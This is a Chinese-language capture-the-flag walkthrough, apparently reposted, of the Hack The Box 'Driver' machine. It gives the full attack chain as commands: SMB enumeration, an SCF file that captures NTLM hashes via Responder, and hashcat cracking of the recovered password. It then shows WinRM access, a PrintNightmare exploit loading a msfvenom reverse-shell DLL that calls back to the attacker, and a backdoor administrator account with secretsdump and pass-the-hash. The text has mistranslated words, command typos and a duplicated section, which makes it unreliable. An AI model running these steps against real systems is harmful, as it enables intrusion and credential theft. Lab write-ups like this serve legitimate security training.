毗连靶机openvpn
openvpn htb-sg-tcp.ovpn
nmap信息收集
tcp端口扫描- nmap -sT --min-rate 10000 -p- ip -oA nmapscan/ports
复制代码 参数说明:
-sT 指定tcp端口
--min-rate 10000 指定最低10000的 速率扫描全部端口
-p- 指定ip地址
-oA nmapscan/ports 以全格式输出到nmapscan目录 下的ports文件中
为了避免偏差和遗漏
进行多次端口扫描,对比结果
同时进行udp端口扫描:
- nmap -sU --top-ports 20 ip -oA nmapscan/udp
复制代码 参数说明:
-sU 指定扫描udp端口
--top-ports 20 扫描常用20个端口
-oA nmapscan/udp 以全格式输出到nmapscan目录下的udp文件中
扫描结果:所有端口都是open(打开)或者filtered(被过滤)的状态,应该是都没有开放,结果已经保存,暂时先用不到
对扫描到的tcp端口进行具体的信息收集
- nmap -sT -sV -sC -O -p80,135,445,5985 -oA nmapscan/detail
复制代码- nmap --script=http-brute -p80 ip
复制代码
135端口:RPC
445端口:SMB共享
SMB/CIFS允许用户在网络中的不同计算机间共享文件、打印机以及其他资源,由于SMB协议的安全性问题,445端口也被认为是一个“高危”端口,因为它曾多次成为网络攻击的目标。例如,臭名昭著的WannaCry勒索软件就利用了SMB的一个未修补的漏洞来传播。因此,很多构造会关闭或严格控制对外的445端口访问,以低落安全风险。
5985端口:winRM(Windows Remote Management网络远程管理)常用端口,只有有凭据才可以进行交互
nmap漏洞脚本扫描
- nmap --sctipt=vuln -p80,135,455,5985 ip -oA nmapscan/vuln
复制代码 参数说明:
-sV : 探测各个服务的版本
-sC : 默认脚本扫描
-O : 探测操纵系统版本
-p80,135,445,5985 : 指定几个端口
攻击面分析
在上面弱密码进入的页面中发现暴露了域信息
如果ip和域名指向的是一个内容,那么是否做host剖析作用不大,如果有主机头做了不同的站点路由,那么剖析域名你才能访问到不同的站点
这时我们需要剖析host词driver.htb- bash -c 'echo"ip dirver.htb" >> /etc/hosts'
复制代码 参数说明:
因为追加重定向不能把权限延伸过去,所以用-c整个作为一个命令来实行
再看一下是否追加好了结果: ip driver.htb
SMB协议探求突破点
搜索nxc github,在github上下载并直接移动到/usr/bin/目录下(为了方便)- mv /home/kali/Downloads/nxc /usr/bin
复制代码 nxc需要给权限参数说明:
chmod +x :添加实行execute 权限
实行命令- nxc smb driver.htb --shares -u RedteamNotes -p ''
复制代码 参数说明:
--shares : 列出共享
-u : 用户名 随便设置一个
-p : 密码 这里设置为空
结果:空密码匿名不允许访问- cmbclient -L driver.htb -N
复制代码
无法访问
实验134端口的RPC
- cpcclient -U "" -N driver.htb
复制代码 无法毗连
enum4linux-ng (主要是smb的枚举的一个工具)
安装- apt install enum4linux-ng
复制代码 实行命令文件上传
我们需要清楚要做的两件事:
SMB协议共享SMF文件攻击
内网认证机制
非域环境下,一般是NTLM加密,利用简单的哈希且不含盐,当前NTLMV2利用较多,引入了客户端和服务器的挑战响应,且利用了MD5
内网协议
内网中可以剖析域名到ip,但不一定一直有DNS,如果没有DNS的时候,剖析就会降级为net b或者LLMN2本地链路多播协议,这两种都是广播协议,而广播就会涉及到一个很紧张的攻击方式--嗅探
SMB内网认证机制
responder嗅探
攻击环境为windows时,用Inveigh
通过向请求者发送伪造的NTLM,来获得NTLM响应,这个响应就包含了加密的用户凭据的散列值,然后用responder采集这些数据并离线破解
上传scf文件,这是一种可实行文件,用于协助windows资源管理器实行系统命令。让scf文件构造一个DNS如许的低级协议,让他访问kali的ip\redteamnotes如许一个不存在的主机,就会发生降级,产生广播
SCF 文件是 "Windows 资源管理器命令"文件,它也是一种可实行文件,该类型文件由WindowsExplorer Command 解释。
当一个文件加中含有scf后缀的文件时,由于scf文件包含了 IconFile 属性,所以Explore.exe 会实验获取文件的图标。而 IconFile 属性是支持 UNC路径的,所以我们也可以通过这里的 IconFile 属性截获受害者的 Net-NTLM Hash
在某一文件夹下写入scf文件,内容如下
[Shell]
Command=2 IconFile=\主机ip\scf\test.ico
[Taskbar]
Command=ToggleDesktop
然后用户访问此文件夹,就可以通过Responder获取Hash
触发产生认证响应的手段:
- responder -I tun0 -v //开启监听
复制代码 上传scf文件
保存,提取信息- tail digest
- grep -o 'tony::.*' digest | tee digeest-only
复制代码 识别结果
找到加密模块
破解- hashcat -m 5600 digest digest-only /usr/share/wordlists/rockyou.txt --potfile-disable
复制代码 加一个--potfile-disable,如果进行过相同的破解方式,避免回复同样的结果
也可以用john进行hash破解
我们嗅探时,也可以用impacket实现- impacket -smbserver RedteamNotes . smb2support
复制代码 参数说明
-smbserver RedteamNotes . : 创立一个smb共享,指定RedteamNotes当前目录
smb2support : 指定2以上smb版本都匹配
同样也是可以用hashcat解密出来的
getshell
- nxc winrm driver.htb -u tony -p liltony
复制代码- evil-winrm -i driver.htb -u -p liltony
复制代码 拿到了系统的最高pwn,但不是最高权限
看web文件有没有敏感信息,先定位到目录,利用网页中图片来进行定位
利用winPEAS查看系统的基本信息(github下载)
利用printnightmare漏洞进行提权
用nxc 扫描是否有printnightmare漏洞
看一下有哪些模块可以检测- nxc smb driver.htb -u tony -p liltony -M spooler
复制代码
-M spooler 指定spooler模块 spooler就是一个处理打印工作的服务
可以去了解一下相关于spooler服务的漏洞
Windows Print Spooler服务最新漏洞CVE-2021-34527具体分析 - FreeBuf网络安全行业门户
检测是否能利用printnightmare- nxc smb driver.htb -u tony -p liltony -M spooler -M printnightmare
复制代码 可以利用,这里还给出了利用脚本https://github.com/ly4k/PrintNightmare
直接下载下来- wget https://raw.githubsercontent.com/ly4k/PrintNightmare/main/printnightmare.py
复制代码 看一下文件,给权限- file printnightmare.py
- head printnightmare.py
- chmod +x printnightmare.py
复制代码
因为文件头已经有解释器了(python3)所以直接实行文件
check一下是否可以利用- ./printnightmare.py -check 'tony:liltony@driver.htb'
复制代码
因为驱动是通过动态链接库来实现利用的,所以我们要先准备payload,就是用于反弹shell的动态链接库
- msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=ip LPORT=9595 -f dll -o RedteamNotes.dll
复制代码 -f dll : 指定文件类型:动态链接库
上传文件,直接上传或者按tab补全,一样的
现在kali上上一个nc监听- sudo rlwrap nc -lvnp 9595
复制代码 参数说明
rlwrap : 提高交互性
-lvnp : 指定端口9595,之前我们就是指定的9595
提权成功- ./printnightmare.py -dll 'c:\programdata\apps\ReadteamNotes.dll 'tony:liltony@driver.htb'
复制代码 参数说明
-dll 'c:\xxx\xxx' 用在指定路径下的动态链接库
长期化
还可以加个后门,添加一个管理员用户- net user 用户名 密码 /add
- net localgroup administrators 用户名 /add
- sudo impacket -secretsdump '密码'@driver.htb
- //转储登陆时各种哈希值
复制代码- nxc winrm driver.htb -u administrator -H 哈希凭据
复制代码
遇到的问题
什么是UDP协议
UDP(User Datagram Protocol)协议因其特性,在很多实际应用场景中得到了广泛的利用。以下是UDP协议在不同领域的具体应用:
- 实时音频和视频传输
- 在线游戏、实时视频集会、直播、VoIP(Voice over IP)等应用中,为了淘汰延迟,通常会选择UDP而不是TCP,因为TCP的重传机制大概会引入额外的延迟。
- 域名系统(DNS)
- DNS查询通常利用UDP,因为DNS请求和响应都是小数据包,且通常只需要一次往返就能完成查询。
- 简单文件传输协议(TFTP)
- TFTP利用UDP来进行文件传输,特别适用于小型系统或嵌入式装备,因为它比FTP更简单、开销更小。
- 网络管理系统(SNMP)
- SNMP(Simple Network Management Protocol)利用UDP端口161和162来监控网络装备的状态,如路由器、交换机和服务器。
- 多播和广播通信
- UDP支持多播和广播,这使得它非常得当用于局域网内的服务发现、组播视频传播输等。
- 动态主机配置协议(DHCP)
- DHCP利用UDP来分配IP地址和其他网络参数给客户端。
- 实时传感器数据传输
- 物联网(IoT)装备和工业自动化系统经常利用UDP来传输实时数据,因为UDP的低延迟特性得当此类应用。
- NetBIOS相关服务
- NetBIOS(Network Basic Input/Output System)相关的服务,如名称剖析和网络欣赏,利用UDP端口137和138。
- BootP和DHCP
- BootP(Bootstrap Protocol)和DHCP利用UDP端口67/68进行网络装备的初始化和配置。
- 其他应用
- 很多其他网络应用和服务,如NTP(Network Time Protocol)用于时间同步,也利用UDP。
UDP的无毗连性和非可靠性特性,使其非常得当那些数据包丢失可以容忍、而延迟和带宽效率至关紧张的场景。然而,对于需要数据完整性和顺序的应用,如文件下载和网页传输,TCP通常更为适用。
什么是中间人攻击MITM?
通过向请求者发送伪造的NTLM挑战,来获得NTLM响应,这个响应就包含了加密的用户凭据的散列值,然后用responder采集这些数据并离线破解
遇到的问题
什么是UDP协议
UDP(User Datagram Protocol)协议因其特性,在很多实际应用场景中得到了广泛的利用。以下是UDP协议在不同领域的具体应用:
- 实时音频和视频传输
- 在线游戏、实时视频集会、直播、VoIP(Voice over IP)等应用中,为了淘汰延迟,通常会选择UDP而不是TCP,因为TCP的重传机制大概会引入额外的延迟。
- 域名系统(DNS)
- DNS查询通常利用UDP,因为DNS请求和响应都是小数据包,且通常只需要一次往返就能完成查询。
- 简单文件传输协议(TFTP)
- TFTP利用UDP来进行文件传输,特别适用于小型系统或嵌入式装备,因为它比FTP更简单、开销更小。
- 网络管理系统(SNMP)
- SNMP(Simple Network Management Protocol)利用UDP端口161和162来监控网络装备的状态,如路由器、交换机和服务器。
- 多播和广播通信
- UDP支持多播和广播,这使得它非常得当用于局域网内的服务发现、组播视频传播输等。
- 动态主机配置协议(DHCP)
- DHCP利用UDP来分配IP地址和其他网络参数给客户端。
- 实时传感器数据传输
- 物联网(IoT)装备和工业自动化系统经常利用UDP来传输实时数据,因为UDP的低延迟特性得当此类应用。
- NetBIOS相关服务
- NetBIOS(Network Basic Input/Output System)相关的服务,如名称剖析和网络欣赏,利用UDP端口137和138。
- BootP和DHCP
- BootP(Bootstrap Protocol)和DHCP利用UDP端口67/68进行网络装备的初始化和配置。
- 其他应用
- 1. 许多其他网络应用和服务,如NTP(Network Time Protocol)用于时间同步,也使用UDP。
复制代码 UDP的无毗连性和非可靠性特性,使其非常得当那些数据包丢失可以容忍、而延迟和带宽效率至关紧张的场景。然而,对于需要数据完整性和顺序的应用,如文件下载和网页传输,TCP通常更为适用。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |